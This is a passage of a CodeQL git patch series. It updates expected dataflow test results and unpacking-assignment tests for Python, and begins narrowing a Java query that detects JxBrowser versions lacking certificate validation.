element at index 0] | test.py:522:5:522:5 | SSA variable a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:30:529:35 | ControlFlowNode for SOURCE | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | | test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | -| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | -| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | -| test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | +| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | +| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | +| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | +| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | +| test.py:555:11:555:37 | ControlFlowNode for List [List element] | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | +| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:11:555:37 | ControlFlowNode for List [List element] | +| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:31:555:36 | ControlFlowNode for SOURCE | +| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:41:555:46 | ControlFlowNode for SOURCE | +| test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:555:11:555:37 | ControlFlowNode for List [List element] | +| test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:555:41:555:46 | ControlFlowNode for SOURCE | +| test.py:555:40:555:47 | ControlFlowNode for List [List element] | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | +| test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:555:40:555:47 | ControlFlowNode for List [List element] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:558:6:558:23 | IterableElement [List element] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:558:7:558:8 | SSA variable a1 | test.py:559:10:559:11 | ControlFlowNode for a1 | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | test.py:558:7:558:16 | IterableElement | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:7:558:8 | SSA variable a1 | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:11:558:12 | SSA variable a2 | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:558:15:558:16 | SSA variable a3 | +| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:558:11:558:12 | SSA variable a2 | test.py:560:12:560:13 | ControlFlowNode for a2 | +| test.py:558:15:558:16 | SSA variable a3 | test.py:561:10:561:11 | ControlFlowNode for a3 | +| test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | test.py:558:6:558:23 | IterableElement [List element] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:566:5:566:24 | IterableElement [List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | +| test.py:566:7:566:8 | SSA variable a1 | test.py:567:10:567:11 | ControlFlowNode for a1 | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | test.py:566:7:566:16 | IterableElement | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:566:7:566:8 | SSA variable a1 | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:566:11:566:12 | SSA variable a2 | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:566:15:566:16 | SSA variable a3 | +| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:566:11:566:12 | SSA variable a2 | test.py:568:12:568:13 | ControlFlowNode for a2 | +| test.py:566:15:566:16 | SSA variable a3 | test.py:569:10:569:11 | ControlFlowNode for a3 | +| test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | test.py:566:5:566:24 | IterableElement [List element] | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:6:574:17 | IterableElement | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:7:574:8 | SSA variable a1 | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:11:574:12 | SSA variable a2 | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:15:574:16 | SSA variable a3 | +| test.py:574:6:574:17 | IterableElement | test.py:574:6:574:17 | ControlFlowNode for List [List element] | +| test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:574:6:574:17 | ControlFlowNode for List [List element] | +| test.py:574:6:574:23 | IterableElement [List element] | test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:574:7:574:8 | SSA variable a1 | test.py:575:10:575:11 | ControlFlowNode for a1 | +| test.py:574:11:574:12 | SSA variable a2 | test.py:576:12:576:13 | ControlFlowNode for a2 | +| test.py:574:15:574:16 | SSA variable a3 | test.py:577:10:577:11 | ControlFlowNode for a3 | +| test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | test.py:574:6:574:23 | IterableElement [List element] | | test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | @@ -383,7 +451,7 @@ nodes | test.py:521:10:521:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:522:5:522:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | @@ -391,17 +459,68 @@ nodes | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:529:30:529:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:530:12:530:12 | SSA variable c | semmle.label | SSA variable c | -| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | -| test.py:530:17:530:17 | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for t [Tuple element at index 1, Tuple element at index 1] | | test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:547:16:547:16 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:555:11:555:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:555:12:555:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:555:31:555:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:555:40:555:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:555:41:555:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:558:6:558:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:558:7:558:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:558:7:558:16 | IterableElement | semmle.label | IterableElement | +| test.py:558:11:558:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:558:15:558:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:559:10:559:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:560:12:560:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:561:10:561:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:566:5:566:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:566:7:566:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:566:7:566:16 | IterableElement | semmle.label | IterableElement | +| test.py:566:11:566:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:566:15:566:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:567:10:567:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:568:12:568:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:569:10:569:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:574:6:574:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:574:6:574:17 | IterableElement | semmle.label | IterableElement | +| test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:574:6:574:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:574:7:574:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:574:11:574:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:574:15:574:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:575:10:575:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:576:12:576:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:577:10:577:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:651:16:651:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select @@ -510,5 +629,41 @@ nodes | test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | +| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | +| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | +| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | +| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | +| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | +| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | +| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | +| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | +| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | +| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | +| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | +| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | +| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | +| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | +| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | +| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | +| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | +| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | +| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | +| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | +| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | +| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | +| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | +| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | +| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | +| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | +| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | +| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | +| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | +| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | +| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | +| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | +| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | +| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | +| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | +| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 4b2f227bde4..3ec8a0af3ce 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -556,25 +556,25 @@ def test_unpacking_assignment_conversion(): # tuple ((a1, a2, a3), b, c) = ll - SINK(a1) # Flow not found + SINK(a1) SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) # Flow not found + SINK(a3) SINK_F(b) # The list itself is not tainted SINK_F(c) # mixed [(a1, a2, a3), b, c] = ll - SINK(a1) # Flow not found + SINK(a1) SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) # Flow not found + SINK(a3) SINK_F(b) # The list itself is not tainted SINK_F(c) # mixed differently ([a1, a2, a3], b, c) = ll - SINK(a1) # Flow not found + SINK(a1) SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) # Flow not found + SINK(a3) SINK_F(b) # The list itself is not tainted SINK_F(c) From 1ebc9f4d9399b9ec0394d9bc810bef481194d7a1 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 22:39:08 +0100 Subject: [PATCH 0537/1241] Java: Only detect JxBrowser < 6.24 --- .../CWE/CWE-295/JXBrowserWithoutCertValidation.ql | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql index 6e7fe37e668..ab74c78d1e7 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql @@ -12,10 +12,18 @@ import semmle.code.java.security.Encryption import semmle.code.java.dataflow.TaintTracking /* - * This query is version specific to JXBrowser 6.x.x. The version is indirectly detected. + * This query is version specific to JXBrowser < 6.24. The version is indirectly detected. * In version 6.x.x the `Browser` class is in a different package compared to version 7.x.x. */ +/** + * Holds if a safe JXBrowser 6.x.x version is used, such as version 6.24. + * This is detected by the the presence of the `addBoundsListener` in the `Browser` class. + */ +private predicate isSafeJXBrowserVersion() { + exists(Method m | m.getDeclaringType() instanceof JXBrowser | m.hasName("addBoundsListener")) +} + /** The `com.teamdev.jxbrowser.chromium.Browser` class. */ private class JXBrowser extends RefType { JXBrowser() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "Browser") } @@ -69,5 +77,6 @@ private class JXBrowserTaintTracking extends 